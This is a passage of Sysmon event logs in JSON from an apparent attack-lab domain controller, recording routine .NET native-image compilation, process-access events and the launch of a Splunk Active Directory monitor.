C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4318-5F2D-0000-0010E6AE0F00}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.744","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4318-5F2D-0000-0010E6AE0F00}","TargetProcessId":"4912","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:36","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7943,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:36.791\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4318-5F2D-0000-0010E6AE0F00}\r\nTargetProcessId: 4912\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:36.791","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4318-5F2D-0000-0010E6AE0F00}","TargetProcessId":"4912","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7944,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:37.026\r\nProcessGuid: {90617006-4318-5F2D-0000-0010E6AE0F00}\r\nProcessId: 4912\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1330-0\\System.Web.DataVisualization.Design.dll\r\nCreationUtcTime: 2020-08-07 12:03:37.026","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:37.026","ProcessGuid":"{90617006-4318-5F2D-0000-0010E6AE0F00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1330-0\\System.Web.DataVisualization.Design.dll","CreationUtcTime":"2020-08-07 12:03:37.026","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7945,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.072\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4319-5F2D-0000-001098B30F00}\r\nTargetProcessId: 4216\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.072","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4319-5F2D-0000-001098B30F00}","TargetProcessId":"4216","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7946,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4319-5F2D-0000-001098B30F00}\r\nTargetProcessId: 4216\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4319-5F2D-0000-001098B30F00}","TargetProcessId":"4216","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7947,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.088\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4319-5F2D-0000-001098B30F00}\r\nTargetProcessId: 4216\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.088","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4319-5F2D-0000-001098B30F00}","TargetProcessId":"4216","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7948,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.229\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4319-5F2D-0000-0010FDB80F00}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.229","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4319-5F2D-0000-0010FDB80F00}","TargetProcessId":"4364","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7949,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.229\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4319-5F2D-0000-0010FDB80F00}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.229","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4319-5F2D-0000-0010FDB80F00}","TargetProcessId":"4364","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7950,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.229\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4319-5F2D-0000-0010FDB80F00}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:37.229","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4319-5F2D-0000-0010FDB80F00}","TargetProcessId":"4364","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":7951,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:37.339\r\nProcessGuid: {90617006-4319-5F2D-0000-001084BD0F00}\r\nProcessId: 3468\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 